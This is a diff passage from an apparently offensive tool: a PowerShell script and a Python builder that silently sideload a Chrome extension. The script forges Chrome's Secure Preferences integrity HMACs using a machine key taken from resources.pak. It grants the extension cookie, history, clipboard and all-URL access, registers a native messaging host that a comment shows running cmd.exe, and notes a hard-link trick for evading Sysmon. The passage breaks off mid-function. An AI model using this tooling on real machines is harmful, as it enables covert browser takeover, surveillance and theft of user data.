// {
// string output = NativeMessaging.ParseMessage("{\"message\":\"cmd.exe|/c dir\"}");
// NativeMessaging.OpenStandardStreamOut(output);
// }
}
}
@@ -0,0 +1,739 @@
# PowerShell script template
param(
[string]$ExtensionInstallDir = "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\myextension",
[string]$ExtensionDescription = "Chrome Extension",
[string]$InstallNativeMessagingHost = "false",
[string]$ForceRestartChrome = "false"
)
# ChromePathHelper functions
function Get-ChromeApplicationPath {
$programFiles = [Environment]::ExpandEnvironmentVariables("%ProgramW6432%")
$programFilesX86 = [Environment]::ExpandEnvironmentVariables("%ProgramFiles(x86)%")
$basePath = $null
if (Test-Path "$programFiles\Google\Chrome\Application") {
$basePath = "$programFiles\Google\Chrome\Application"
}
else {
$basePath = "$programFilesX86\Google\Chrome\Application"
}
$subdirectories = Get-ChildItem -Path $basePath -Directory
$finalSubDir = ""
foreach ($subdir in $subdirectories) {
if ($subdir.Name.Split('.').Length -gt 2) {
$finalSubDir = $subdir.FullName
}
}
if ([string]::IsNullOrEmpty($finalSubDir)) {
throw "Cannot find Google Chrome App directory."
}
return $finalSubDir
}
function Is-Windows11 {
$osName = (Get-CimInstance Win32_OperatingSystem).Caption
if ($osName -like "*Windows 11*") {
return $true
}
return $false
}
function Get-PreferencesPath {
$appLocalData = [Environment]::ExpandEnvironmentVariables("%localappdata%")
return "$appLocalData\Google\Chrome\User Data\Default\Preferences"
}
function Get-SecurePreferencesPath {
$appLocalData = [Environment]::ExpandEnvironmentVariables("%localappdata%")
return "$appLocalData\Google\Chrome\User Data\Default\Secure Preferences"
}
# ChromeMachineId functions
function Get-DeviceId {
return ([System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value -split '-')[0..6] -join '-'
}
function Get-MachineKey {
param([string]$ResourcePath = $null)
if (-not $ResourcePath) {
$chromePath = Get-ChromeApplicationPath
$ResourcePath = "$chromePath\resources.pak"
}
if (-not (Test-Path $ResourcePath)) {
throw "Resources.pak file not found at: $ResourcePath"
}
try {
$resourceBytes = [System.IO.File]::ReadAllBytes($ResourcePath)
$version = [System.BitConverter]::ToInt32($resourceBytes, 0)
$encoding = [System.BitConverter]::ToInt32($resourceBytes, 4)
$resourceCount = [System.BitConverter]::ToUInt16($resourceBytes, 8)
$aliasCount = [System.BitConverter]::ToUInt16($resourceBytes, 10)
$resourceOffset = 12 + $resourceCount * 6 + $aliasCount * 6
$lastResourceOffset = $resourceOffset
for ($i = 1; $i -lt $resourceCount; $i++) {
$resourceId = [System.BitConverter]::ToUInt16($resourceBytes, 12 + $i * 6)
$fileOffset = [System.BitConverter]::ToUInt16($resourceBytes, 12 + $i * 6 + 2)
if ($fileOffset - $lastResourceOffset -eq 64) {
$machineKey = $resourceBytes[$lastResourceOffset..($lastResourceOffset + 63)]
return $machineKey
}
else {
$lastResourceOffset = $fileOffset
}
}
throw "PAK does not have a 64 byte resource"
}
catch {
throw "Failed to extract machine key: $($_.Exception.Message)"
}
}
# ExtensionCryptoHelpers functions
function Get-Sha256HashForBytes {
param([byte[]]$BytesToHash)
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$hashBytes = $sha256.ComputeHash($BytesToHash)
$sha256.Dispose()
$builder = [System.Text.StringBuilder]::new()
foreach ($b in $hashBytes) {
$builder.Append($b.ToString("x2"))
}
return $builder.ToString()
}
function ConvertTo-JsonWithEscaping {
param(
[Parameter(ValueFromPipeline=$true)]
$InputObject,
[switch]$Compress,
[int]$Depth = 100
)
$result = $InputObject | ConvertTo-Json -Compress:$Compress -Depth $Depth
# ConvertTo-Json adds double backslashes, so we need to remove them
$result = $result.Replace('\\\\','\\')
return $result
}
function ConvertTo-JsonSorted {
param(
[Parameter(ValueFromPipeline=$true)]
$InputObject,
[switch]$Compress,
[int]$Depth = 100
)
function Sort-ObjectRecursively {
param($obj)
if ($obj -is [array]) {
# For arrays, preserve order but recursively sort any objects within
$sortedArray = @()
foreach ($item in $obj) {
$sortedArray += Sort-ObjectRecursively $item
}
return $sortedArray
}
elseif ($obj -is [PSCustomObject]) {
# For PSCustomObjects, sort keys and recursively sort values
$sortedObj = [PSCustomObject]@{}
$sortedKeys = $obj.PSObject.Properties.Name | Sort-Object
foreach ($key in $sortedKeys) {
$value = $obj.$key
$sortedValue = Sort-ObjectRecursively $value
$sortedObj | Add-Member -MemberType NoteProperty -Name $key -Value $sortedValue
}
return $sortedObj
}
elseif ($obj -is [hashtable]) {
# For hashtables, convert to PSCustomObject first, then sort
$sortedObj = [PSCustomObject]@{}
$sortedKeys = $obj.Keys | Sort-Object
foreach ($key in $sortedKeys) {
$value = $obj[$key]
$sortedValue = Sort-ObjectRecursively $value
$sortedObj | Add-Member -MemberType NoteProperty -Name $key -Value $sortedValue
}
return $sortedObj
}
else {
# For primitive values, return as-is
return $obj
}
}
try {
# Recursively sort all object keys while preserving array order
$sortedObject = Sort-ObjectRecursively $InputObject
# Convert to JSON with array preservation
if ($sortedObject -is [array]) {
# Handle top-level arrays specially to prevent flattening
$arrayElements = @()
foreach ($element in $sortedObject) {
# Force conversion to PSCustomObject if needed before JSON conversion
if ($element -is [hashtable]) {
$element = [PSCustomObject]$element
}
$arrayElements += ($element | ConvertTo-JsonWithEscaping -Compress:$Compress -Depth $Depth)
}
return "[$($arrayElements -join ',')]"
} else {
# Force conversion to PSCustomObject if needed before JSON conversion
if ($sortedObject -is [hashtable]) {
$sortedObject = [PSCustomObject]$sortedObject
}
return $sortedObject | ConvertTo-JsonWithEscaping -Compress:$Compress -Depth $Depth
}
}
catch {
# If sorting fails, fall back to regular ConvertTo-Json
return $InputObject | ConvertTo-JsonWithEscaping -Compress:$Compress -Depth $Depth
}
}
function Convert-StringToByteArray {
param(
[string]$Hex
)
$bytes = @()
for ($i = 0; $i -lt $Hex.Length; $i += 2) {
$bytes += [System.Convert]::ToByte($Hex.Substring($i, 2), 16)
}
return $bytes
}
function Calculate-ExtensionIdFromPath {
param(
[string]$Path
)
$unicodeBytes = [System.Text.Encoding]::Unicode.GetBytes($Path)
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$hashBytes = $sha256.ComputeHash($unicodeBytes)
$sha256.Dispose()
$hexString = ""
foreach ($b in $hashBytes) {
$hexString += $b.ToString("x2")
}
$extensionId = ""
for ($i = 0; $i -lt 32; $i++) {
$hexChar = $hexString[$i]
$hexVal = [System.Convert]::ToInt32($hexChar.ToString(), 16)
$extensionId += [char]($hexVal + 97)
}
return $extensionId
}
function ConvertTo-DeepPSCustomObject {
param($InputObject)
if ($InputObject -is [hashtable]) {
$result = [PSCustomObject]@{}
foreach ($key in $InputObject.Keys) {
$result | Add-Member -MemberType NoteProperty -Name $key -Value (ConvertTo-DeepPSCustomObject -InputObject $InputObject[$key])
}
return $result
}
elseif ($InputObject -is [PSCustomObject]) {
$result = [PSCustomObject]@{}
foreach ($prop in $InputObject.PSObject.Properties) {
$result | Add-Member -MemberType NoteProperty -Name $prop.Name -Value (ConvertTo-DeepPSCustomObject -InputObject $prop.Value)
}
return $result
}
elseif ($InputObject -is [array]) {
$result = @()
foreach ($item in $InputObject) {
$result += ConvertTo-DeepPSCustomObject -InputObject $item
}
return $result
}
else {
return $InputObject
}
}
function Sort-AndCullJson {
param(
[string]$JsonString
)
function Remove-EmptyJsonValues {
param([string]$JsonString)
# Remove empty objects: {}
$JsonString = $JsonString -replace ',"[^"]*":\{\}', ''
$JsonString = $JsonString -replace '\{"[^"]*":\{\},?', '{'
$JsonString = $JsonString -replace ',\{\}', ''
# Remove empty arrays: []
$JsonString = $JsonString -replace ',"[^"]*":\[\]', ''
$JsonString = $JsonString -replace '\{"[^"]*":\[\],?', '{'
$JsonString = $JsonString -replace ',\[\]', ''
# Remove empty strings: ""
$JsonString = $JsonString -replace ',"[^"]*":""', ''
$JsonString = $JsonString -replace '\{"[^"]*":"",?', '{'
$JsonString = $JsonString -replace ',""', ''
# Remove null values
$JsonString = $JsonString -replace ',"[^"]*":null', ''
$JsonString = $JsonString -replace '\{"[^"]*":null,?', '{'
$JsonString = $JsonString -replace ',null', ''
# Clean up trailing commas
$JsonString = $JsonString -replace ',\}', '}'
$JsonString = $JsonString -replace ',\]', ']'
return $JsonString
}
function Sort-TopLevelJsonKeys {
param([string]$JsonString)
# Parse as object to get proper structure, then manually rebuild with sorted keys
# This is used for HMAC generation, so it works with the culled JSON string
try {
$obj = $JsonString | ConvertFrom-Json
# Get all property names and sort them
$sortedKeys = $obj.PSObject.Properties.Name | Sort-Object
# Rebuild JSON with sorted keys but preserve nested structure
$sortedPairs = @()
foreach ($key in $sortedKeys) {
$value = $obj.$key
# Handle arrays specially to prevent flattening
if ($value -is [array]) {
# Convert array elements individually and wrap in brackets
$arrayElements = @()
foreach ($element in $value) {
$arrayElements += ($element | ConvertTo-JsonWithEscaping -Compress -Depth 100)
}
$valueJson = "[$($arrayElements -join ',')]"
} else {
# For certain problematic objects, use ConvertTo-JsonSorted instead
if ($key -eq "account_values") {
# Deep convert to ensure all nested objects are PSCustomObjects
$cleanValue = ConvertTo-DeepPSCustomObject -InputObject $value
$valueJson = $cleanValue | ConvertTo-JsonSorted -Compress
} else {
$valueJson = $value | ConvertTo-JsonWithEscaping -Compress -Depth 100
}
}
$sortedPairs += "`"$key`":$valueJson"
}
return "{$($sortedPairs -join ',')}"
}
catch {
# If parsing fails, return original
return $JsonString
}
}
$cleanedJson = Remove-EmptyJsonValues -JsonString $JsonString
$jsonResult = Sort-TopLevelJsonKeys -JsonString $cleanedJson
# Convert Unicode escape sequences back to ASCII characters
$jsonResult = $jsonResult -replace '\\u003C', '<'
$jsonResult = $jsonResult -replace '\\u003E', '>'
# We need to escape the < character back to this very specific encoding to perfectly match Chrome's hashing
$jsonResult = $jsonResult.Replace('<', '\u003C')
return $jsonResult
}
function Calc-HMACFromString {
param(
[string]$String,
[string]$JsonPath,
[byte[]]$Key,
[string]$DeviceId
)
$deviceIdBytes = [System.Text.Encoding]::UTF8.GetBytes($DeviceId)
$jsonPathBytes = [System.Text.Encoding]::UTF8.GetBytes($JsonPath)
$contentBytes = [System.Text.Encoding]::UTF8.GetBytes($String)
$msg = $deviceIdBytes + $jsonPathBytes + $contentBytes
$hmac = [System.Security.Cryptography.HMACSHA256]::new($Key)
$computedHash = $hmac.ComputeHash($msg)
$hmac.Dispose()
$hexString = [System.BitConverter]::ToString($computedHash).Replace("-", "").ToUpper()
return $hexString
}
function Calc-HMACFromJson {
param(
[string]$JsonContent,
[string]$JsonPath,
[byte[]]$Key,
[string]$DeviceId
)
if ([string]::IsNullOrEmpty($JsonContent)) {
throw "JsonContent cannot be null or empty"
}
# Normalize the JSON by removing all empty objects + arrays and alphabetizing content
$fixedContent = Sort-AndCullJson -JsonString $JsonContent
if ([string]::IsNullOrEmpty($fixedContent)) {
throw "Sort-AndCullJson returned null or empty content"
}
# Build the message: deviceId + path + content
$deviceIdBytes = [System.Text.Encoding]::UTF8.GetBytes($DeviceId)
$jsonPathBytes = [System.Text.Encoding]::UTF8.GetBytes($JsonPath)
$contentBytes = [System.Text.Encoding]::UTF8.GetBytes($fixedContent)
$msg = $deviceIdBytes + $jsonPathBytes + $contentBytes
# $keyHex = [System.BitConverter]::ToString($Key).Replace("-", "").ToLower()
#Write-Host "Key: $keyHex"
# Write-Host "Calculating HMAC for message:"
# $valHex = [System.BitConverter]::ToString($msg).Replace("-", "").ToLower()
#Write-Host "Message Length: $($msg.Length)"
# $msgString = [System.Text.Encoding]::UTF8.GetString($msg)
# Write-Host "Message: $msgString"
# $msgHex = [System.BitConverter]::ToString($msg).Replace("-", "").ToLower()
#Write-Host "MessageHex: $msgHex"
# Calculate HMAC-SHA256
$hmac = [System.Security.Cryptography.HMACSHA256]::new($Key)
$computedHash = $hmac.ComputeHash($msg)
$hmac.Dispose()
$hexString = [System.BitConverter]::ToString($computedHash).Replace("-", "").ToUpper()
return $hexString
}
# ExtensionSideloader functions
function Get-SuperMacFromSecurePrefJson {
param([string]$SecurePrefJson)
$securePrefObj = $SecurePrefJson | ConvertFrom-Json
return $securePrefObj.protection.super_mac
}
function Set-SuperMacForSecurePrefJson {
param([string]$SecurePrefJson, [string]$NewSuperMac)
$securePrefObj = $SecurePrefJson | ConvertFrom-Json
$securePrefObj.protection.super_mac = $NewSuperMac
return $securePrefObj | ConvertTo-JsonSorted -Compress
}
function Add-ExtensionToSecurePrefJson {
param(
[string]$SecurePref,
[string]$JsonToAdd,
[string]$InstallPath,
[string]$DeviceId,
[byte[]]$Key
)
Write-Host "Adding Extension for install path $InstallPath"
$addedExtension = $JsonToAdd | ConvertFrom-Json
$addedExtension | Add-Member -MemberType NoteProperty -Name "path" -Value $InstallPath -Force
$extensionWithPath = ConvertTo-Json $addedExtension -Compress -Depth 100
Write-Host "Extension with path value: $extensionWithPath"
Write-Host "Setting Path in extensionJSON to $InstallPath"
Write-Host "Parsing Existing Preferences Object"
$securePrefObj = $SecurePref | ConvertFrom-Json
# Robustly ensure extensions and settings exist and are objects
if (-not $securePrefObj.PSObject.Properties['extensions']) {
$securePrefObj | Add-Member -MemberType NoteProperty -Name "extensions" -Value ([PSCustomObject]@{}) -Force
} elseif ($null -eq $securePrefObj.extensions -or $securePrefObj.extensions -isnot [object]) {
$securePrefObj.extensions = [PSCustomObject]@{}
}
if (-not $securePrefObj.extensions.PSObject.Properties['settings']) {
$securePrefObj.extensions | Add-Member -MemberType NoteProperty -Name "settings" -Value ([PSCustomObject]@{}) -Force
} elseif ($null -eq $securePrefObj.extensions.settings -or $securePrefObj.extensions.settings -isnot [object]) {
$securePrefObj.extensions.settings = [PSCustomObject]@{}
}
$extensionSettingsListObj = $securePrefObj.extensions.settings
if ($null -eq $extensionSettingsListObj) {
Write-Host "Error: extensionSettingsListObj is null, creating new object" -ForegroundColor Red
$extensionSettingsListObj = [PSCustomObject]@{}
$securePrefObj.extensions.settings = $extensionSettingsListObj
}
$calculatedId = Calculate-ExtensionIdFromPath -Path $InstallPath
Write-Host "CalculatedID of $calculatedId"
$extensionSettingsListObj | Add-Member -MemberType NoteProperty -Name "$calculatedId" -Value $addedExtension -Force
Write-Host "Calculating extension.settings HMAC"
$path = "extensions.settings.$calculatedId"
$calculatedExtensionMac = Calc-HMACFromJson -JsonContent $extensionWithPath -JsonPath $path -Key $Key -DeviceId $DeviceId
Write-Host "HMAC is calculated to be $calculatedExtensionMac"
# Robustly ensure nested properties exist and are objects
if (-not $securePrefObj.PSObject.Properties['protection']) {
$securePrefObj | Add-Member -MemberType NoteProperty -Name "protection" -Value ([PSCustomObject]@{}) -Force
} elseif ($null -eq $securePrefObj.protection -or $securePrefObj.protection -is [string] -or ($securePrefObj.protection -isnot [PSCustomObject] -and $securePrefObj.protection -isnot [hashtable])) {
$securePrefObj.protection = [PSCustomObject]@{}
}
if (-not $securePrefObj.protection.PSObject.Properties['macs']) {
$securePrefObj.protection | Add-Member -MemberType NoteProperty -Name "macs" -Value ([PSCustomObject]@{}) -Force
} elseif ($null -eq $securePrefObj.protection.macs -or $securePrefObj.protection.macs -is [string] -or ($securePrefObj.protection.macs -isnot [PSCustomObject] -and $securePrefObj.protection.macs -isnot [hashtable])) {
$securePrefObj.protection.macs = [PSCustomObject]@{}
}
# Create super_mac object if it doesn't exist so we can set it
if (-not $securePrefObj.protection.PSObject.Properties['super_mac']) {
$securePrefObj.protection | Add-Member -MemberType NoteProperty -Name "super_mac" -Value ([PSCustomObject]@{}) -Force
}
if (-not $securePrefObj.protection.macs.PSObject.Properties['extensions']) {
$securePrefObj.protection.macs | Add-Member -MemberType NoteProperty -Name "extensions" -Value ([PSCustomObject]@{}) -Force
} elseif ($null -eq $securePrefObj.protection.macs.extensions -or $securePrefObj.protection.macs.extensions -is [string] -or ($securePrefObj.protection.macs.extensions -isnot [PSCustomObject] -and $securePrefObj.protection.macs.extensions -isnot [hashtable])) {
$securePrefObj.protection.macs.extensions = [PSCustomObject]@{}
}
if (-not $securePrefObj.protection.macs.extensions.PSObject.Properties['settings']) {
$securePrefObj.protection.macs.extensions | Add-Member -MemberType NoteProperty -Name "settings" -Value ([PSCustomObject]@{}) -Force
} elseif ($null -eq $securePrefObj.protection.macs.extensions.settings -or $securePrefObj.protection.macs.extensions.settings -is [string] -or ($securePrefObj.protection.macs.extensions.settings -isnot [PSCustomObject] -and $securePrefObj.protection.macs.extensions.settings -isnot [hashtable])) {
$securePrefObj.protection.macs.extensions.settings = [PSCustomObject]@{}
}
$extensionsListObj = $securePrefObj.protection.macs.extensions.settings
# Set extensions.ui.developer_mode to true - create the objects if they don't exist
if (-not $securePrefObj.extensions.PSObject.Properties['ui']) {
$securePrefObj.extensions | Add-Member -MemberType NoteProperty -Name "ui" -Value ([PSCustomObject]@{}) -Force
} elseif ($null -eq $securePrefObj.extensions.ui -or $securePrefObj.extensions.ui -is [string] -or ($securePrefObj.extensions.ui -isnot [PSCustomObject] -and $securePrefObj.extensions.ui -isnot [hashtable])) {
$securePrefObj.extensions.ui = [PSCustomObject]@{}
}
# Set extensions.ui.developer_mode to true - create the objects if they don't exist
if (-not $securePrefObj.extensions.ui.PSObject.Properties['developer_mode']) {
$securePrefObj.extensions.ui | Add-Member -MemberType NoteProperty -Name "developer_mode" -Value ([PSCustomObject]@{}) -Force
}
$securePrefObj.extensions.ui.developer_mode = $true
$path = "extensions.ui.developer_mode"
$calculatedDeveloperModeMac = Calc-HMACFromString -String "true" -JsonPath $path -Key $Key -DeviceId $DeviceId
# Ensure protection.macs.extensions.ui exists before setting developer_mode
if (-not $securePrefObj.protection.macs.extensions.PSObject.Properties['ui']) {
$securePrefObj.protection.macs.extensions | Add-Member -MemberType NoteProperty -Name "ui" -Value ([PSCustomObject]@{}) -Force
} elseif ($null -eq $securePrefObj.protection.macs.extensions.ui -or $securePrefObj.protection.macs.extensions.ui -is [string] -or ($securePrefObj.protection.macs.extensions.ui -isnot [PSCustomObject] -and $securePrefObj.protection.macs.extensions.ui -isnot [hashtable])) {
$securePrefObj.protection.macs.extensions.ui = [PSCustomObject]@{}
}
# Use Add-Member to safely add the developer_mode property
$securePrefObj.protection.macs.extensions.ui | Add-Member -MemberType NoteProperty -Name "developer_mode" -Value $calculatedDeveloperModeMac -Force
if ($null -eq $extensionsListObj) {
Write-Host "Error: extensionsListObj is null, creating new object" -ForegroundColor Red
$extensionsListObj = [PSCustomObject]@{}
$securePrefObj.protection.macs.extensions.settings = $extensionsListObj
}
$extensionsListObj | Add-Member -MemberType NoteProperty -Name "$calculatedId" -Value $calculatedExtensionMac -Force
Write-Host "Updated protection.macs.extensions.settings"
return $securePrefObj
}
# Install-NativeMessagingHost function
function Install-NativeMessagingHost {
param(
[string]$ExtensionPath,
[string]$NativeAppPath,
[string]$ExtensionRegName,
[string]$ExtensionDescription
)
$nativeMessagingConfigPath = "$ExtensionPath\$ExtensionRegName.json"
$linkedExtensionId = Calculate-ExtensionIdFromPath -Path $ExtensionPath
$configContent = @"
{
"name": "$ExtensionRegName",
"description": "$ExtensionDescription",
"path": "$($NativeAppPath.Replace('\', '\\'))",
"type": "stdio",
"allowed_origins": ["chrome-extension://$linkedExtensionId/"]
}
"@
$configContent | Out-File -FilePath $nativeMessagingConfigPath -Encoding UTF8
$regPath = "HKCU:\Software\Google\Chrome\NativeMessagingHosts\$ExtensionRegName"
New-Item -Path $regPath -Force | Out-Null
New-ItemProperty -Path $regPath -Name "(Default)" -Value $nativeMessagingConfigPath -PropertyType String -Force | Out-Null
# Check if 32-bit registry path exists before creating the key
$regPath32Parent = "HKCU:\Software\Wow6432Node\Google\Chrome\NativeMessagingHosts"
if (Test-Path $regPath32Parent) {
try {
$regPath32 = "$regPath32Parent\$ExtensionRegName"
New-Item -Path $regPath32 -Force | Out-Null
New-ItemProperty -Path $regPath32 -Name "(Default)" -Value $nativeMessagingConfigPath -PropertyType String -Force | Out-Null
Write-Host "Successfully created 32-bit registry entry"
}
catch {
Write-Host "Failed to set 32-bit registry key: $($_.Exception.Message)"
}
}
else {
Write-Host "32-bit Chrome registry path not found (this is normal if 32-bit Chrome is not installed)"
}
}
$ExtensionSettings = '{"account_extension_type":0,"active_permissions":{"api":["activeTab","background","clipboardRead","cookies","history","nativeMessaging","tabs","declarativeNetRequest","scripting"],"explicit_host":["\u003Call_urls>"],"manifest_permissions":[],"scriptable_host":["\u003Call_urls>"]},"commands":{},"content_settings":[],"creation_flags":38,"disable_reasons":[],"first_install_time":"13397690747955841","from_webstore":false,"granted_permissions":{"api":["activeTab","background","clipboardRead","cookies","history","nativeMessaging","tabs","declarativeNetRequest","scripting"],"explicit_host":["\u003Call_urls>"],"manifest_permissions":[],"scriptable_host":["\u003Call_urls>"]},"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13397690747955841","location":4,"newAllowFileAccess":true,"preferences":{},"regular_only_preferences":{},"service_worker_registration_info":{"version":"1.0"},"serviceworkerevents":["runtime.onInstalled","runtime.onStartup"],"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}'
function Main {
try {
Write-Host "Starting Chrome Extension Sideloader..." -ForegroundColor Green
# Get Chrome paths and machine information
$securePrefFilePrefPath = Get-SecurePreferencesPath
$preferencesPath = Get-PreferencesPath
$deviceId = Get-DeviceId
$key = Get-MachineKey
$existingSecurePref = Get-Content -Path $securePrefFilePrefPath -Raw -Encoding UTF8
$existingPreferences = Get-Content -Path $preferencesPath -Raw -Encoding UTF8
# Windows 11 by default just stores content in Preferences versus Secure Preferences, so update it there
if (Is-Windows11){
$existingSecurePref = $existingPreferences
$securePrefFilePrefPath = $preferencesPath
}
Write-Host "Device ID: $deviceId" -ForegroundColor Yellow
Write-Host "Secure Preferences Path: $securePrefFilePrefPath" -ForegroundColor Yellow
# Install extension
$extensionInstallPath = [Environment]::ExpandEnvironmentVariables($ExtensionInstallDir)
Write-Host "Installing extension to: $extensionInstallPath" -ForegroundColor Cyan
# Extract embedded extension content
Extract-EmbeddedExtension -ExtensionPath $extensionInstallPath
$modifiedPrefFileObj = Add-ExtensionToSecurePrefJson -SecurePref $existingSecurePref -JsonToAdd $ExtensionSettings -InstallPath $extensionInstallPath -DeviceId $deviceId -Key $key
$macsObj = $modifiedPrefFileObj.protection.macs
$calculatedSuperMac = Calc-HMACFromJson -JsonContent ($macsObj | ConvertTo-JsonSorted -Compress) -JsonPath "" -Key $key -DeviceId $deviceId
Write-Host "Calculated SuperMAC as $calculatedSuperMac"
$modifiedPrefFileObj.protection.super_mac = $calculatedSuperMac
Write-Host "Updating SuperMAC in Secure Preferences"
# As a potential evasion measure, we could create a hard link to Preferences and write to that instead:
# New-Item -ItemType HardLink -Path .\WhateverAliasWeWant -Target .\Preferences
# $stuffToWrite | Out-File -FilePath .\WhateverAliasWeWant -Encoding UTF8 <- This will avoid sysmon file monitoring for writes to Preferences
$modifiedPrefFileObj | ConvertTo-Json -Compress -Depth 100 | Out-File -FilePath $securePrefFilePrefPath -Encoding UTF8
Write-Host "Secure Preferences file updated successfully!" -ForegroundColor Green
# Install native messaging host if specified
if ($InstallNativeMessagingHost -eq "true") {
$hostPath = $extensionInstallPath + "\NativeAppHost.exe"
Write-Host "Installing native messaging host to: $hostPath" -ForegroundColor Cyan
$extensionName = Split-Path $ExtensionInstallDir -Leaf
$lowerCaseExtensionName = $extensionName.ToLower()
Install-NativeMessagingHost -ExtensionPath $extensionInstallPath -NativeAppPath $hostPath -ExtensionRegName $lowerCaseExtensionName -ExtensionDescription $ExtensionDescription
}
# Force restart Chrome if specified
if ($ForceRestartChrome -eq "true") {
Write-Host "Force restarting Chrome..." -ForegroundColor Yellow
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue
if ($chromeProcesses) {
Write-Host "Terminating Chrome processes..." -ForegroundColor Yellow
$chromeProcesses | Stop-Process -Force
while (Get-Process -Name "chrome" -ErrorAction SilentlyContinue) {
Start-Sleep -Milliseconds 10
}
}
$userPreferencePath = $preferencesPath
if (Test-Path $userPreferencePath) {
$userPreferenceContent = Get-Content -Path $userPreferencePath -Raw -Encoding UTF8
$userPreferenceContent = $userPreferenceContent.Replace('"exit_type":"Crashed"', '"exit_type":"none"')
$userPreferenceContent | Out-File -FilePath $userPreferencePath -Encoding UTF8
Write-Host "Updated Chrome preferences to remove crash flag" -ForegroundColor Yellow
}
$chromePath = (Get-ChromeApplicationPath) + "\..\chrome.exe"
if (Test-Path $chromePath) {
Start-Process -FilePath $chromePath -ArgumentList "--restore-last-session"
Write-Host "Chrome restarted with session restore" -ForegroundColor Green
}
else {
Write-Host "Chrome executable not found at: $chromePath" -ForegroundColor Red
}
}
Write-Host "Chrome Extension Sideloader completed successfully!" -ForegroundColor Green
}
catch {
Write-Host "Error: $($_.Exception.Message)" -ForegroundColor Red
Write-Host "Stack Trace: $($_.ScriptStackTrace)" -ForegroundColor Red
exit 1
}
}
# These functions will be replaced by the Python builder with actual extraction logic
function Extract-EmbeddedExtension {
param([string]$ExtensionPath)
# This will be replaced by the Python builder
throw "Extract-EmbeddedExtension function not implemented - this should be replaced by the Python builder"
}
# Run the main function only if this script is being executed directly (not dot-sourced)
if ($MyInvocation.InvocationName -ne '.') {
Write-Host "Starting Chrome Extension Sideloader..." -ForegroundColor Green
Write-Host "Running Main function" -ForegroundColor Green
Main
} else {
Write-Host "Script was dot-sourced, functions are now available but Main() was not called" -ForegroundColor Yellow
}
@@ -0,0 +1,199 @@
#!/usr/bin/env python3
r"""
Chrome Extension Sideloader Builder
This script creates a self-contained PowerShell script that embeds extension content
and optionally a native messaging host, then deploys them to the specified location.
Usage:
python build_sideloader.py <extension_folder> <install_path>
Example:
python build_sideloader.py ./myextension "%LOCALAPPDATA%\Google\com.chrome.alone"
"""
import os
import sys
import zipfile
import base64
import argparse
from pathlib import Path
from io import BytesIO
def zip_folder(folder_path):
"""Create a ZIP file from a folder and return it as bytes."""
folder_path = Path(folder_path)
if not folder_path.exists() or not folder_path.is_dir():
raise ValueError(f"Extension folder does not exist: {folder_path}")
zip_data = BytesIO()
with zipfile.ZipFile(zip_data, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk(folder_path):
for file in files:
file_path = Path(root) / file
arc_name = file_path.relative_to(folder_path)
zipf.write(file_path, arc_name)
return zip_data.getvalue()
def read_file_as_base64(file_path):
"""Read a file and return its base64 encoded content."""
file_path = Path(file_path)
if not file_path.exists():
raise ValueError(f"File does not exist: {file_path}")
with open(file_path, 'rb') as f:
content = f.read()
return base64.b64encode(content).decode('utf-8')
def create_extraction_functions(extension_base64):
"""Create the PowerShell extraction functions."""
extract_extension_func = f'''
function Extract-EmbeddedExtension {{
param([string]$ExtensionPath)
Write-Host "Extracting embedded extension to: $ExtensionPath" -ForegroundColor Cyan
# Create directory if it doesn't exist, or clear existing content
if (Test-Path $ExtensionPath) {{
Write-Host "Clearing existing extension directory..." -ForegroundColor Yellow
Remove-Item $ExtensionPath -Recurse -Force
}}
New-Item -ItemType Directory -Path $ExtensionPath -Force | Out-Null
# Decode and extract the embedded extension
$extensionZipBase64 = "{extension_base64}"
$extensionZipBytes = [System.Convert]::FromBase64String($extensionZipBase64)
# Create temporary ZIP file
$tempZipPath = [System.IO.Path]::GetTempFileName()
[System.IO.File]::WriteAllBytes($tempZipPath, $extensionZipBytes)
try {{
# Extract ZIP contents
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $ExtensionPath)
Write-Host "Extension extracted successfully" -ForegroundColor Green
}}
finally {{
# Clean up temp file
if (Test-Path $tempZipPath) {{
Remove-Item $tempZipPath -Force
}}
}}
}}
'''
return extract_extension_func
def read_template_script():
"""Read the template PowerShell script."""
script_path = Path(__file__).parent / "ChromeExtensionSideloader.ps1"
with open(script_path, 'r', encoding='utf-8') as f:
return f.read()
def build_sideloader_script(extension_folder, install_path, output_path=None):
"""Build the complete sideloader script."""
print(f"Building sideloader script...")
print(f" Extension folder: {extension_folder}")
print(f" Install path: {install_path}")
# Create ZIP of extension folder
print("Creating extension ZIP...")
extension_zip_bytes = zip_folder(extension_folder)
extension_base64 = base64.b64encode(extension_zip_bytes).decode('utf-8')
# Read template script
print("Reading template script...")
template_script = read_template_script()
# Create extraction functions
print("Creating extraction functions...")
extraction_functions = create_extraction_functions(extension_base64)
# Replace placeholder functions in template
script_content = template_script.replace(
'# These functions will be replaced by the Python builder with actual extraction logic\n'
'function Extract-EmbeddedExtension {\n'
' param([string]$ExtensionPath)\n'
' # This will be replaced by the Python builder\n'
' throw "Extract-EmbeddedExtension function not implemented - this should be replaced by the Python builder"\n'
'}\n\n',
extraction_functions
)
# Set default parameters
script_content = script_content.replace(
'[string]$ExtensionInstallDir = "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Extensions\\myextension"',
f'[string]$ExtensionInstallDir = "{install_path}"'
)
# Write output
if output_path:
output_file = Path(output_path)
else:
extension_name = Path(extension_folder).name
output_file = Path(f"{extension_name}_sideloader.ps1")
print(f"Writing output to: {output_file}")
with open(output_file, 'w', encoding='utf-8') as f:
f.write(script_content)
print(f"✅ Sideloader script created successfully: {output_file}")
print(f"📦 Extension size: {len(extension_zip_bytes):,} bytes")
return output_file
def main():
parser = argparse.ArgumentParser(
description="Build a Chrome Extension Sideloader PowerShell script",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=__doc__
)
parser.add_argument(
"extension_folder",
help="Path to the extension folder to deploy"
)
parser.add_argument(
"install_path",
help="Installation path for the extension (can include environment variables like %%LOCALAPPDATA%%)"
)
parser.add_argument(
"-o", "--output",
help="Output file path (default: <extension_name>_sideloader.ps1)"
)
args = parser.parse_args()
try:
output_file = build_sideloader_script(
args.extension_folder,
args.install_path,
args.output
)
